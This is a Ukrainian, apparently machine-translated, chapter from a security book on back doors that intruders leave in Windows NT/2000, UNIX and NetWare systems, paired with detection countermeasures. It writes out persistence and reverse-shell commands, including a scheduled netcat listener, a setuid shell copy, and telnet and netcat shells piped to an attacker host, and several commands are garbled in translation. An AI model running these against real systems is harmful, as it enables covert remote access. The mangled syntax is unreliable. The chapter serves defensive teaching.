"Потайні ходи"
Якщо непрошені гості влаштуються в системі, позбавитися від них буває важко. Навіть якщо пролом, яким вони скористалися, буде знайдений і закритий, зловмисники можуть забезпечити спеціальний механізм і швидко дістати доступ у будь-який час. Такий механізм називається потайним ходом (back door).
Виявлення
і усунення такого потайного ходу — завдання майже нездійсненне, оскільки його можна створити найрізноманітнішими способами. Єдиною реальною можливістю відновлення системи після злому є повторна установка операційної системи з початкових носіїв і виконання довгої і копіткої роботи по відновленню призначених
для користувача даних і додатків з перевірених резервних копій. При цьому повне відновлення здійснити дуже важко, особливо, якщо система мала нестандартну конфігурацію, яка не була документована.
У наступних розділах описані основні механізми, які використовуються зловмисниками для збереження контролю над системою. Знання цих методів допоможе адміністраторові швидко ідентифікувати такі вторгнення і по можливості скоротити трудомісткість процесу відновлення. Де це необхідно, ми представимо докладний опис можливих підходів, проте в основному передбачається дати якомога повніший огляд популярних методів.
Створення фіктивних облікових записів
Майже
кожному системному адміністраторові відомо, що облікові записи з правами суперкористувача — це такі ресурси, які легко захищати і контролювати. А ось облікові записи, рівні по привілеях суперкористувачеві, але непримітні імена, що мають, відстежити набагато важче. Зловмисник обов'язково спробує створити такі облікові записи.
Nt/2000
У Windows Nt/2000 привілейовані локальні облікові записи легко створити за допомогою наступних команд.
net user <імя_пользователя><пароль>/add
net localgrcup <імя_группи><імя_пользователя>/add
За допомогою команди net group можна додати користувача в глобальну групу. Пригадаєте, що в системі NT є відмінність між локальною (що міститься тільки в локальній базі даних SAM) і глобальною (з доменної бази даних SAM) групами. Вбудовані локачьниє групи зазвичай надають ширші можливості, оскільки з їх допомогою можна надавати різний рівень доступу до системних ресурсів. У операційну систему Win 2000 додані нові універсальні групи і локальні групи домена. По суті, ці поняття є метадоменнимі, оскільки вони можуть бути членами будь-якого домена, що належить дереву або лісу.
Вивести список всіх членів основних адміністративних груп так само легко, як і додати в них новий обліковий запис. Як показано в наступному прикладі, в якому на екран виводиться список членів групи Windows 2000 Enterprise Admins (адміністратори підприємства), це можна зробити за допомогою команди
net [local] group.
C:\>net group "Enterprise Admins"
Group name Enterprise Admins Comment Disighated
administrators of the
enterprise Members ------------ Administrator
The command completed successfully.
Насамперед потрібно проглянути вбудовані групи: Administrators, Domain Admins, Enterprise Admins і Schema Admins (на контроллерах домена), а також різні локальні групи операторів.
UNIX
У системі UNIX фіктивні облікові записи створюються і ідентифікуються аналогічним чином. Як правило створюються нешкідливі облікові записи з нульовими значеннями ідентифікаторів UID і GID. Слід перевірити також облікові записи з таким же ідентифікатором GID, що і у користувача root, а потім перевірити збіг властивостей груп у файлі /etc/groups. Крім того, такі облікові записи легко виявити по вмісту файлу /etc/passwd.
Novell
У системі Netware типовим є створення "усиротілих" об'єктів, тобто створення, наприклад, контейнера з одним користувачем, а потім передача цьому новому користувачеві прав опікунства над батьківським контейнером. Якщо зломщик має можливість постійно реєструватися в дереві NDS, то цю ситуацію не зможе виправити навіть адміністратор. Докладнішу інформацію про "потайні ходи" системи Netware можна знайти в розділі 7.
Завантажувальні файли
У попередніх розділах багато мовилося про "потайні ходи", які створюються за допомогою механізмів завантаження, підтримуваних різними платформами. Такий спосіб став улюбленим методом зловмисників, оскільки він дозволяє встановлювати пастки, які активізуються при кожному перезапуску системи необачними користувачами.
Nt/2000
У операційній системі Windows NT насамперед потрібно перевірити різні теки, що знаходяться в теці Startup: %systemroot%\profiles\%username%\ start menu\programs\startup (тека All Users використовуватиметься незалежно від того, хто з користувачів реєструвався інтерактивно). Крім того, для запуску програм типу "троянський кінь" або для установки "потайного ходу" при кожному запуску системи зломщики можуть скористатися параметрами системного реєстру. Потрібно перевірити наступні параметри
Hklm\software\microsoft\windows\currentversion\
- ...Run
- ...Runonce
- ...Runonceex
- ...Runservices
- ...Aedebug
- ...Winlogon
У цих параметрах зберігаються дані багато з потенційно небезпечних програм. Наприклад, програма Back Orifice 2000 (Во2к; див. нижчий) встановлюється як служба видаленого адміністрування (Remote Administrator Service) в параметрі Runservices.
З
попередніх розділів ви дізналися, як можна створити "потайний хід" в системі NT за допомогою драйверів пристроїв, що завантажуються під час запуску системи. Драйвер пакету Invisible Keylogger Stealth (IKS) (iks.sys, звичайно ж, перейменований більш відповідним чином) може бути скопійований в каталог %systemroot%\system32\ drivers. При цьому програма запускатиметься разом з ядром NT, завдяки чому на консолі користувача цей процес зазвичай залишається невидимим. Програма також записує декілька значень в системний реєстр в Hklm\system\current-controlset\services\iks (знову ж таки, параметр iks може бути перейменований зломщиком так само, як і сам файл драйвера). Якщо заздалегідь зробити надійну резервну копію системного реєстру (використовуючи утиліту Dumpreg компанії Somarsoft), то можна легко виявити "сліди присутності" IKS. Проглянувши за допомогою провідника Windows властивості драйвера IKS, можна також встановити його походження.
Використання броузера Web для завантаження коди
Поява
в травні 2000 року сценарію ILOVEYOU, написаного на мові Visual Basic,
послужило свідоцтвом того, що є і інші способи запуску виконуваної коди: це установка початкової сторінки, що завантажується при запуску web-броузера.
Сценарій ILOVEYOU модифікував параметри Internet Explorer так, щоб як
початкова використовувалася сторінка, з якою завантажувався виконуваний файл з ім'ям win-bugsflx.exe. Цей файл завантажувався з однієї з чотирьох різних адрес URL, вибраних випадковим чином на базі наступного загального шаблону.
http://www.skynet.net/-[змінна]/
[длінная_строка_с_ненужной_інформацией]/
Win-bugsflx.exe"
Дана адреса URL містилася в параметрі системного реєстру Hksu\software\ Microsoft\internet Explorer\main\-start Page. Цей сценарій змінював також декілька параметрів системного реєстру, включаючи той, який запускає завантажені двійкові файли при перезавантаженні системи (передбачалося, що до нього був вказаний шлях), і той, який видаляє первинну сторінку запуску.
Мал.
14.1. У діалоговому вікні Internet Explorer, що містить застережливо повідомлення, користувач указує, чи потрібно завантажити файл на комп'ютер локально або запустити його з видаленого вузла. Завжди встановлюйте режим Save this program to disk (зберегти програму на диску)!
Hklm\software\microsoft\windows\currentversion\run\win-bugsfix
Hkcuxsoftware\microsoft\internet Explorer\main\start Page\about:blank
Звичайно, залежно від ступеня довірливості наступного користувача, що запускає броузер, для виконання цього файлу перезавантаження може і не знадобитися. Останні версії Internet Explorer перед пересилкою певних типів файлів, таких як виконувані файли . ЕХЕ і . СОМ, за умовчанням виводять на екран вікно підтвердження. Залежно від відповіді користувача на питання в діалоговому вікні, показаному на мал. 14.1, даний файл може бути запущений відразу після початку роботи web-броузера.
Контрзахід: не запускайте виконувані файли, знайдені в Internet!
Має бути зрозуміле і без слів (хоча впродовж багатьох років це повторюється багато раз): потрібно бути гранично обережним по відношенню до виконуваних файлів, що завантажуються з Internet. Запуск файлів з видаленого сервера — це шлях, ведучий прямо до катастрофи. Замість цього краще завантажити їх на свій комп'ютер локально, перевірити на наявність вірусів, по можливості проаналізувати вміст (наприклад, файлів сценаріїв або командних файлів), а потім протестувати їх на якій-небудь другорядній системі.
UNIX
У системі UNIX зломщики часто поміщають програми, призначені для створення "потайного ходу", у файли rc.d. Слід перевірити кожен з таких файлів і переконатися, що в них не міститься жодної незнайомої програми або такий, яка була б недавно додана. Для впровадження пасток може бути використаний також файл inetd.conf. У цьому файлі знаходяться параметри демона inetd, суперсервера Internet системи UNIX, який при необхідності динамічно запускає різні процеси, такі як FTP, telnet, finger і так далі У цьому файлі також можна виявити підозрілі демони.
Іншим методом визначення змін в системних файлах систем UNIX або NT є використання програми Tripwire
(http://www.tripwire.com).
Комерційна версія цієї популярної програми може працювати на багатьох платформах, включаючи Windows NT 4.0 Sp3 і вище, Red Hat Linux 6.1 і Solaris 2.6 і 7. Ця програма створює сигнатуру кожного файлу, що автономно зберігається. |?сли файл був змінений без відома його власника, то програма Tripwire повідомить, коли і як до нього були внесені зміни.
Novell
Файли startup.ncf і autexec.ncf системи Netware дозволяють визначити, які програми, параметри і завантажувані модулі системи Netware (NLM — Netware Loadable Module) будуть запущені при завантаженні сервера. Зломщики можуть відредагувати один або декілька файлів . NCF, які викликаються з цих завантажувальних файлів (наприклад, файл Idremote.ncf) і, таким чином, створити "потайний хід", наприклад запустити хакреську програму rconsole. Тому періодично перевіряйте кожен завантажувальний файл, щоб не упустити момент створення зломщиками "потайного ходу".
Завантажувальні файли — дуже зручне, але далекий не єдиний засіб створення "потайного ходу". Для цього підходять також черги запланованих завдань. У системі Windows NT ця можливість забезпечується службою Schedule, доступ до якої можна отримати за допомогою команди AT. Запланувавши регулярний запуск необхідної програми, зломщики можуть бути упевнені, що потрібна ним служба буде завжди запущена і готова до роботи.
Заплановані завдання
Наприклад, в системі Windows NT простий "потайний хід" можна реалізувати, встановивши утиліту netcat, яка щодня запускатиметься в призначений час.
C:\>at\\192.168.202/44 12:ооа /every:!
""nc -d -l -р 8080 -і cmd.exe"
Added а new job with job ID = 2
За допомогою цієї команди щодня опівдні ініціюватиметься нова програма прослуховування порту 8080. Зловмисник зможе без проблем підключитися до цільового комп'ютера за допомогою утиліти netcat і отримати в своє розпорядження командну оболонку, періодично видаляючи раніше запущені екземпляри netcat. Крім того, можна скористатися також командним файлом, щоб спочатку перевірити, чи запущена утиліта netcat, а потім при необхідності здійснити її запуск.
У системі UNIX планування виконання процесів здійснюється з використанням програми crontab. Вона часто застосовується для автоматизації трудомісткого процесу підтримки системи, але може бути використана також і для створення "потайних ходів". У більшості систем UNIX файл crontab можна редагувати за допомогою команди crontab -і, при цьому даний файл буде відкритий в певному редакторові (який зазвичай задається за допомогою змінних оточення VISUAL
або EDITOR).
Найчастіше "потайний хід" можна створити в системі, в якій програма crontab запускається з правами суперкористувача і використовується для виклику командних файлів. Якщо для цих командних файлів зломщик задасть права доступу, що дозволяють редагувати їх стороннім користувачам, то він зможе легко повернутися в систему як звичайний користувач і відразу ж отримати привілеї root. У файлі crontab це можна здійснити за допомогою наступних команд.
ср /bin/csh /tmp/evilsh
chmod 4777 /tmp/evilsh
Контрзаходи: захист від запланованих завдань
Для того, щоб запобігти цій атаці в системі NT, з використанням команди at перевірте список завдань на предмет наявності в нім несанкціонованих завдань.
С:\> at
Status ID Day Time
Command Line ---------------------------------
0 Each 1 12:00 AM net localgroup administrators joel /add
Потім за допомогою наступної команди завершите підозрілі процеси з ідентифікатором 0.
C:\>at \\172.29.11.214 0 /delete
Альтернативний спосіб полягає в завершенні роботи служби за допомогою команди net stop schedule, а потім забороні її запуску за допомогою команди Control
Panel>services.
У
системі UNIX команди, що представляють небезпеку, можна пошукати у файлах crontab. Крім того, перевірте права доступу, пов'язані з використовуваними файлами і сценаріями.
Видалене управління
Цілком можлива ситуація, коли зломщик не зможе повернутися на цільовий комп'ютер, навіть володіючи необхідними реєстраційними даними. Це може відбутися, якщо деякі службові процеси сервера не виводять запрошення на реєстрацію. Наприклад, мало користі від пароля root, якщо на зламуваному сервері відключені грами-служби або telnet. Так само в системі Windows NT адміністратор за умовчанням дістає дуже обмежені можливості видаленого управління. Тому першочергова мета зломщика полягає в забезпеченні механізмів повторного доступу.
В
більшості випадків все, що дійсно потрібне зломщикові, — це видалений командний рядок. Нижче представлений огляд засобів, за допомогою яких досить просто дістати видалений доступ до командної оболонки. Крім того, враховуючи широку поширеність операційних систем з графічним інтерфейсом і простоту управління, що надається ними, ви познайомитеся з інструментами, які виявляться корисними і в цьому випадку.
Контрзаходи проти засобів видаленого управління приводяться в кінці розділу, оскільки більшість з них можна застосовувати для захисту від всіх з описаних атак.
netcat
У цій книзі раніше вже згадувався "швейцарський армійський ніж", утиліта netcat (її версії як для системи NT, так і для UNIX можна знайти за адресою
http.//www. 10pht.com/~weld/netcat/index.html). За допомогою цієї програми можна непомітно прослуховувати потрібний порт, виконуючи заздалегідь визначені дії після установки видаленого з'єднання з системою. Утиліта netcat виявиться надзвичайно могутнім засобом видаленого управління, якщо ці дії будуть направлені на запуск командної оболонки. Потім зловмисники можуть підключитися за допомогою netcat до заданого порту і отримати в своє розпорядження командну оболонку. Команди запуску netcat в режимі прослуховування зазвичай скритно поміщаються в який-небудь завантажувальний файл (див. попередній розділ), тому ця програма прослуховування портів активізуватиметься при кожному перезавантаженні системи. Приклад такого "потайного ходу" показаний на мал. 14.2, на якому видно параметр системного реєстру Windows NT, що приводить до запуску утиліти netcat в процесі завантаження системи.
Кмітливі зломщики обов'язково замаскують свого "троянського коня" netcat. Для цього можна дати програмі яке-небудь нейтральне ім'я, наприклад ddedll32.exe, або таке, що адміністратор двічі подумає, перш ніж видалить такий файл.
Параметр -l
утиліти netcat дає можливість відновити роботу при багатократному порушенні зв'язку; при використанні ~d програма netcat запускається в прихованому режимі (без інтерактивної консолі); а -е дозволяє задати програму, що запускається, в даному випадку командний інтерпретатор NT cmd.exe. Параметр -р визначає порт, що прослуховується (у даному прикладі 8080). Версію програми netcat для системи UNIX можна легко набудувати так. щоб запускалася командна оболонка /bin/sh, що приведе до того ж результату. Після цього зломщикові залишиться тільки з'єднатися з портом, який прослуховується утилітою netcat, і отримати в своє розпорядження видалену командну оболонку.
Мал. 14.2. У системному реєстрі Nt4 встановлене, що в процесі завантаження системи завантажуватиметься утиліта netcat
remote.exe (NT)
Утиліту remote з набору NTRK можна запустити як сервер, щоб командний рядок повертався будь-якому аутентіфіїірованному користувачеві NT, який підключився за допомогою відповідного видаленого клієнта. Цю програму дуже просто встановити (потрібно просто скопіювати файл remote.exe у системний каталог, наприклад %systemroot%). Тому часто її використання передує подальшій установці небезпечніших програм, таких як графічні утиліти видаленого управління або програми-реєстратори натиснення клавіш. Детальніше утиліта remote.exe описана в розділі 5.
loki
Програми loki і lokid, коротко розглянуті в розділі 11. надають зломщикам простою механізм повторного отримання доступу до зламаної системи, навіть якщо вона розташована позаду брандмауера. Оригінальність цих програм полягає в тому, що клієнт (loki) поміщає команди зломщика (в основному це пакети IP) в заголовки ICMP або UDP і посилає їх серверу (lokid), який виконує їх і повертає результати. Оскільки багато брандмауерів допускають проходження на сервер пакетів ICMP і UDP, то ініційований зломщиком трафік часто без проблем проходить через брандмауер. Сервер lokid запускається за допомогою наступної команди.
lokid -p -i v 1
Потім для запуску клієнта потрібно ввести таку команду. loki -d 172.29.11.191
-p -i -v 1 -t 3
Використовувані спільно, утиліти loki і lokid забезпечують постійний "потайний хід" в систему, іноді навіть через брандмауер.
Back Orifice і Netbus
Хоча обидва цих засоби за своєю природою є графічними (Netbus навіть надає деякі можливості по управлінню робочим столом), вони головним чином видалено викликають функції програмного інтерфейсу API. Отже краще за них розцінювати їх як інструменти створення "потайних ходів", призначені для виконання видалених команд, а не як графічні утиліти видаленого управління. Можливості кожною з цих утиліт описані в розділах 4 і 5. Тут же ми лише ще раз перерахуємо ті місця, в яких зломщики можуть скритно розміщувати ці засоби, щоб адміністраторам було легко їх розшукати.
Сервер Back Orifice (У) можна набудувати так, щоб він встановлювався і запускався під будь-яким ім'ям (за умовчанням використовується ім'я [пропуск],ехе). При цьому в
параметр Hkey_local_machine\software\microsoft\ Windows\currentversicn\runservices додається новий запис, так що сервер В запускатиметься кожного разу при завантаженні системи і прослуховувати порт 31337, якщо не задано іншого значення. (Вгадайте, чому вибраний саме цей порт?)
Літом 1999 року вийшла нова версія пакету Back Orifice. Back Orifice 2000 (Bo2k.
http://www.bo2k.com), що володіє всіма можливостями своєї попередниці, але з двома примітними особливостями. Його можна використовувати в Windows Nt/2000 (а не тільки Win 9.x), а, крім того, є комплект інструментів розробника, що дозволяє створювати модифікації програми, що значно утрудняє її виявлення. За умовчанням програма Во2к самостійно копіюється у файл Umgr32.EXE каталога %systemroot% і прослуховує TCP-порт 54320 або UDP-порт 54321. При цьому в списку процесів сервер Во2к відображається під ім'ям EXPLORER, що запобігає спробам його видалення. Якщо програма працює в прихованому режимі, то вона встановлюється як служба з ім'ям Remote Administration Service (служба видаленого адміністрування) і в параметрі системного реєстру
Hklm\softwarexmicrosoft\ Windows\currentversion\runservices містяться відповідні дані. При цьому запуск "служби" виконується при завантаженні системи, л початковий файл віддаляється. Всі ці параметри легко змінити за допомогою утиліти bo2kcfg.exe, яка входить до складу пакету.
Програма Netbus
також є такою, що достатньо легко настроюється, і в Internet можна знайти декілька її версій. За умовчанням виконуваний файл сервера називається patch.exe, хоча він може мати і будь-яке інше ім'я. Для того, щоб це серверне застосування запускалося кожного разу при завантаженні системи, в параметр
Hkey_lcal_machine\software\microsoft\ Windows\currentversion\run поміщається відповідний запис. За умовчанням програмою Netbus прослуховується порт TCP 12345 або 20034 (за бажання ці значення також можна змінити).
Контрзаходи: захист проти Back Orifice (і інших програм)
Спроби
використання Back Orifice (а також служб FTP, telnet, SMTP, HTTP і так далі) легко виявити, використовуючи безкоштовну утиліту фірми Network Flight Recorder, яка називається Backofficer Friendly
(http://www.nfr.net/products/bof/ ). Ця програма з графічним інтерфейсом працює в режимі прослуховування портів і повідомляє про всі спроби з'єднання з системою. Її найчудовішою особливістю є режим Fake Replies (помилкові відповіді). При його використанні програма відповідатиме на telnet-запросы і записуватиме імена і паролі, за допомогою яких зломщики намагаються дістати доступ. Як видно з наступного малюнка, програма виконує велику роботу по відстежуванню спроб проникнення в систему.
Якщо відомий пароль, то програму Во2к можна легко видалити на видаленому комп'ютері. Для цього за допомогою клієнтського застосування потрібно з'єднатися з сервером, в діалоговому вікні розкрити теку Server Control і вибрати команду Shutdown Server з параметром DELETE.
Перенаправлення портів: реверсивний сеанс
telnet, netcat, datapipe, rinetd і fpipe
У попередніх розділах деякі команди
видаленого управління, засновані на використанні командного процесора, описувалися в контексті прямих з'єднань. Тепер розглянемо ситуацію, коли прямому втручанню в систему щось перешкоджає, наприклад прямий доступ блокується брандмауером. Винахідливі зломщики можуть обійти ці перешкоди за допомогою перенаправлення портів (port redirection).
Якщо зломщикові вдалося зламати брандмауер, то за допомогою перенаправлення портів він зможе направити всі пакети на необхідний вузол. Важливо з'ясувати можливі наслідки зломів цього типу, оскільки зломщик може дістати доступ до будь-якої системи, яка знаходиться позаду брандмауера. Перенаправлення функціонує за наступним принципом: ведеться прослуховування певних портів і перехоплені на них необроблені пакети перенаправляються на потрібну вторинну адресу. Нижче будуть розглянуті деякі методи виконання перенаправлення портів уручну, використовуючи такі утиліти, як telnet і netcat, а також такі спеціалізовані засоби перенаправлення, як datapipe і rinetd.
Реверсивний сеанс telnet
Одін з
коханих зломщиками "потайних ходів" в зламану систему може бути реалізований за допомогою демона telnet, що входить в комплект постачання багатьох версій UNIX. Отже цю програму навіть не потрібно буде завантажувати. Ми називаємо цей спосіб реверсивний сеанс telnet, тому що в процесі його реалізації утиліта telnet використовується для з'єднання з утилітою netcat, запущеною на комп'ютері зломщика, що знаходиться в режимі прослуховування. Потім необхідні команди прямують на цільовий вузол, а результати їх виконання — назад.
Щоб реалізувати реверсивне з'єднання telnet, на своєму комп'ютері спочатку потрібно запустити два екземпляри утиліти netcat, використовуючи для цього дві окремі команди.
С:\> nc -w -1 -р 80
D:\> nc -w -1 -р 25
Потім на цільовому вузлі слід використовувати
наступну команду UNIX
sleep 10000 | telnet 172.29.11.191 80 |
/bin/sh | telnet 172.29.11.191 25
В результаті вхідні дані з порту 25 за допомогою конвеєра будуть передані локальній командній оболонці (яка виконає отримані команди), а результати знову через конвеєр будуть перенаправлені назад, на порт 80 комп'ютера зломщика.
Порти з попереднього прикладу (80 і 25) використовуються стандартними службами (HTTP і SMTP відповідно). Тому зазвичай наступний через них потік повідомлень вільно проходить через брандмауер на багато внутрішніх вузлів.
Захоплення командної оболонки за допомогою
утиліти netcat
Якщо на цільовий комп'ютер можна помістити утиліту netcat, або якщо вона там вже встановлена, то можна скористатися аналогічним методом. Такий підхід ми називаємо "захоплення командної оболонки", тому що його суть полягає в тому, що на своєму робочому комп'ютері зломщик дістає в повне розпорядження всі функціональні можливості видаленої командної оболонки. Розглянемо приклад, коли у видаленому командному рядку запускається наступна команда.
nс attacker.com 80 | cmd.exe | nс attacker.com 25
Якщо хакер
на своєму комп'ютері attacker.com за допомогою утиліти netcat здійснює прослуховування TCP-портов 80 і 25 і при цьому порт 80 вирішує передачу тих, що входять, а порт 25 — витікаючих пакетів для комп'ютера-жертви через брандмауер, то ця команда дозволяє "захопити" командну оболонку видаленої системи. На мал. 14.3 показаний екран комп'ютера зломщика, де у верхньому вікні на порт 80 передається команда ipconf ig, а результати її виконання прямують в порт 25 і відображаються в нижньому вікні.
Мал. 14.3. Запустивши утиліту netcat на комп'ютері зломщика (на малюнку показаний його робочий стіл) і на цільовому вузлі, можна "захопити" видалену командну оболонку. Команди, які вводяться у верхньому вікні, виконуються на видаленій системі, а результати їх роботи — в ніжнем
datapipe
Реалізація перенаправлення портів за допомогою утиліти netcat і ручне налаштування цього процесу може виявитися досить морочливою справою. У Internet можна знайти декілька програм, які призначені спеціально для цих цілей. У системі UNIX дуже популярна утиліта datapipe. З її допомогою зломщик може забезпечити перенаправлення даних так, щоб пакети приймалися через порт 65000 і переадресовувалися в систему NT (порт 139). Далі, на своєму комп'ютері зловмисник може набудувати систему для виконання прямо протилежних дій: запустити утиліту datapipe для прослуховування порту 139 і перенаправлення повідомлень на порт 65000 цільової системи. Наприклад, для нападу на систему NT (172. 29.11.100), розташовану позаду
брандмауера, на зламаному вузлі (172.29.11.2) потрібно виконати наступну команду.
datapipe 65000 139 172.29.11.100
Потім на власному комп'ютері зломщикові необхідно запустити утиліту datapipe для прослуховування порту 139 і пересилки отриманих даних на порт 65000 зламаного вузла.
datapipe 139 65000 172.29.11.2
Тепер через брандмауер відкритий доступ до системи NT (172.23.11. ICO). На мал. 14.4 показаний приклад реалізації перенаправлення портів і продемонстрована ефективність цього методу. За допомогою такого підходу можна обійти брандмауери з фільтрацією пакетів, проникні повідомлення, призначені для портів з великими номерами.
rinetd
Утиліта
rinetd — це "сервер перенаправлення Internet", створений Томасом Бутеллом (Thomas
Boutell). Ця програма перенаправляє з'єднання TCP з однієї IP-адреса і порту на іншій. Таким чином, вона. багато в чому схожа на програму datapipe. Програма працює як на базі інтерфейсу Win32 (включаючи Windows 2000), так і в системі Linux УТН..ПГ rinetd дуже легко використовувати: потрібно просто створити конфігураційний
файл, в якому указується правило перенаправлення. Цей файл має наступний формат
адрес_прівязки порт_прмвязки адрес_соєдіненія порт_соєдіненія
Запустити програму можна за допомогою команди rinetd -с <імя_конфігурационного_файла>. Так само як і datapipe, ця утиліта може виявитися дуже ефективною проти неправильно настроєного брандмауера.
fpipe
Утиліта
fpipe призначена для передачі/перенаправлення даних з порту TCP. Її розробили автори цієї книги, що займають ключові позиції в компанії Foundstone, Inc. Ця програма створює потік TCP. витікаючий з вибраного користувачем порту. Вона чудово підходить для перенаправлення, представленого на мал. 14.4, і в системі Windows може послужити рівноцінною заміною програми datapipe, застосовною тільки до UNIX.
Одна
з особливостей утиліти fpipe, що відрізняють її від інших засобів перенаправлення портів, які можна використовувати в системі Windows (таких як rinetd), полягає в можливості завдання початкового порту передаваного трафіку. Щоб оцінити "проникаючу" здатність цієї програми, потрібно спробувати "обдурити" з її допомогою брандмауер або маршрутизатор, які пропускають потік повідомлень лише з
певних портів (наприклад, пакети з TCP-порта 25 можуть оброблятися поштовим сервером). Зазвичай в протоколі Tcp/ip початковим портам, використовуваним для клієнтських з'єднань, призначаються великі номери, а відповідний потік повідомлень фільтрується брандмауером. Проте може опинитися, що брандмауер пропускає трафік DNS (а в більшості випадків це саме так). Тоді за допомогою утиліти fpipe можна забезпечити проходження цього потоку з певного початкового порту. У такій ситуації брандмауер розглядає цей потік як дозволений і пропускає його.
Мал. 14.4. Перенаправлення портів
Користувачі повинні знати, що, якщо при завданні порту-джерела витікаючого з'єднання був використаний параметр -в і це з'єднання було закрито, може виявитися неможливим встановити його повторно (утиліта fpipe повідомить, що адреса вже використовується) до того моменту, поки не закінчаться інтервали очікування Time_wait і Close_wait, визначувані протоколом TCP. Ці інтервали очікування можуть варіюватися в діапазоні від 30 секунд до чотирьох хвилин і більш, залежно від використовуваної версії операційної системи і її версії. Ці інтервали очікування визначаються протоколом TCP і не є обмеженням самої утиліти fpipe. Причина виникнення такої ситуації полягає в тому, що утиліта fpipe намагається встановити нове з'єднання з видаленим вузлом із застосуванням тих же комбінацій локальних
IР-адреса/порту і видалених IP-адреса/порту, що і в попередньому сеансі. Нове ж з'єднання не може бути встановлене до тих пір, поки стеком протоколів TCP не буде вирішено, що попереднє з'єднання не було повністю завершене.
VNC
Розглянуті
раніше засоби видаленого управління надають можливість практично повного контролю над системою. Тому при одній тільки думки про можливість отримання в свої руки віртуального робочого столу цільової системи у зломщиків частішає серцебиття. Програма Virtual Network Computing (VNC) надає саме такі можливості. Крім того, цей програмний продукт легко встановити на "захопленій" системі і використовувати її як "потайний хід", що забезпечує діставання доступу згодом.
Пакет
VNC розроблений в лабораторії At&t Laboratories Кембріджського університету, і, поза сумнівом, є кращим безкоштовним графічним засобом видаленого управління. В розділі 5 було показано, як легко інсталювати цю програму в Windows NT через видалене мережеве з'єднання. Для цього потрібно лише встановити службу VNC з командного рядка, зробивши перед цим єдину зміну в системному реєстрі, щоб забезпечити її скритний запуск (версії вище 3.3.2 перешкодять піктограму на панель завдань і можуть бути легко виявлені користувачами, які реєструвалися інтерактивно). Звичайно ж, незалежно від версії або вибраного режиму процес winvnc. EXE буде відображений в списку процесів.
Злом X Windows і інших графічних термінальних служб
На вузлах UNIX, на яких не обмежується витікаючий трафік додатку xtenn (TCP 6000). можна модифікувати деякі з приведених раніше методів перенаправлення портів, щоб "захопити" вікно терміналу і перенаправити таким чином віконну командну оболонку назад на комп'ютер зломщика. Для цього досить запустити Х-сервер, а потім ввести наступну команду.
xterrn -display attacker.соm:0.о&
З системою Windows доведеться повозитися трохи більше. Не залишається нічого іншого, як скористатися такими продуктами, як Windows Terminal Server або Independent Computing Architecture (ICA) компанії Citrix (http://www.citrix.com). За допомогою цих компонентів можна організувати конвеєр, що пов'язує видалений робочий стіл з комп'ютером зломщика. На відміну від системи Nt4, в Windows 2000 термінальний сервер є вбудованим компонентом, який входить в комплект постачання. Отже майже напевно він виявиться доступним. Щоб визначити, чи встановлені на зламаному видаленому вузлі термінальні служби, можна скористатися утилітою sclist з набору NTRK. Після цього за допомогою привілейованого облікового запису потрібно встановити з'єднання. Нижче показаний приклад використання утиліти sciist (скорочено отриманий лістинг скорочений).
D:\toclbox>sclist athena
-
Service list for ath'ena running Alerter Alerter running Termservice
Terminal Services running Terrriservlicensing Terminal Services
Licensing stopped TFTFD Trivial FTP Daemon stopped Tlntsvr
Telnet
Якщо виявилось, що на видаленому вузлі встановлені також засоби Terminal Services Licensing, то його можна набудувати для роботи в режимі сервера додатків, а не в режимі сервера видаленого управління. Це може принести зломщикові певну вигоду (компанія Microsoft радить встановлювати сервер ліцензування і термінальний сервер на різні комп'ютери).
Загальні контрзаходи проти "потайних ходів": профілактичний огляд
Ви познайомилися з численними засобами і методами, до яких удаються зломщики для створення "потайних ходів". Як же адміністратор може виявити і нейтралізувати залишені зломщиками сліди?
Засоби автоматизації
Як мовиться, легко запобігти, чим знешкоджувати. Багато сучасних комерційних антивірусних програмних продуктів непогано працюють, автоматично скануючи систему у пошуках таких програм. Часто вони нейтралізують небезпеку ще до того, як буде причинна реальна шкода (наприклад, до діставання доступу до дисковода для гнучких дисків або до завантаження вкладення електронного повідомлення). Достатньо повний перелік виробників антивірусних програм можна знайти в статті Q49500 бази знань компанії Microsoft за адресою
http://support.microsoft.com/support/ kb/articles/q49/5/00.ASP.
Недорога програма The Cleaner, поширювана компанією Moosoft Development, здатна ідентифікувати і знешкоджувати більше тисячі різних видів програм типу "троянський кінь" (в усякому разі так мовиться в рекламних матеріалах). Для отримання докладнішої інформації звернетеся за адресою
http: //www. moosoft.com/сleaner.html.
При виборі програми упевніться, що вона здатна виконувати пошук по таких важливих критеріях, як двійкові підписи і параметри системного реєстру. Це буває корисно, якщо зломщики-тугодуми не здогадалися внести відповідні зміни і приховати свою присутність. Потрібно пам'ятати також про те, що антивірусні програми виявляться ефективними тільки в тому випадку, якщо їх бази даних постійно оновлюються!
Ведення обліку
Припустимо,
що всі прийняті запобіжні засоби не допомогли і система все ж таки виявилася зламаною. У такій ситуації єдиною зброєю проти майже всіх описаних раніше прийомів створення "потайних ходів" є пильність. З боку адміністратора було б розумним вести всесторонній облік стану системи і продумати, де можна швидко розмістити надійні дані для відновлення системи. Ми настійно рекомендуємо виконувати інвентаризацію найбільш важливих систем, реєструючи дані як про початкову установку, так і про кожне їх оновлення.
Відстежування стану системи в швидко змінних умовах, особливо на персональних робочих станціях, може виявитися досить утомливим заняттям.
А ось на щодо статичних робочих серверах подібний облік може стати корисною підмогою в процесі перевірки цілісності вузла, який, ймовірно, піддався нападу. Спростити це завдання допомагають інструменти відображення стану системи, які розглядатимуться нижче в цьому розділі. У частині даного розділу, що залишилася, обговорюються методи відстежування змін системи "уручну", які не вимагають додаткових витрат (багато хто з них доступний в більшості систем). Якщо еше до вторгнення послідувати простим рекомендаціям, приведеним нижче, то після злому буде набагато легко зрозуміти, що ж відбулося. Багато з цих методів корисно застосувати і після нападу, як слідчий експеримент.
Хто прослуховує порти
Можливо, це очевидно, але ніколи не варто недооцінювати потужність утиліти netstat. яка дозволяє виявити факт прослуховування портів програмами, які аналогічні розглянутим вище. Наступний приклад демонструє корисність цього інструменту (скорочено приводиться не весь лістинг).
D:\toolbox>netstat-an
Active
Connections Proto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:54320 0.0.0.0:0 LISTENING
TCP 192.168.234.36:139 0.0.0.0:0 LISTENING
UDP 0.0.0.0:31337 *:*
Цікаво, чи здогадається читач, що в приведеному фрагменті не узгоджується з викладеними вище фактами?
Єдиний недолік програми netstat полягає в тому, що вона не повідомляє про процес, який прослуховує той або інший порт. У системах Windows NT і 2000 з цим же завданням чудово справляється програма fport компанії Foundstone, Inc.
D:\toolbox>fport
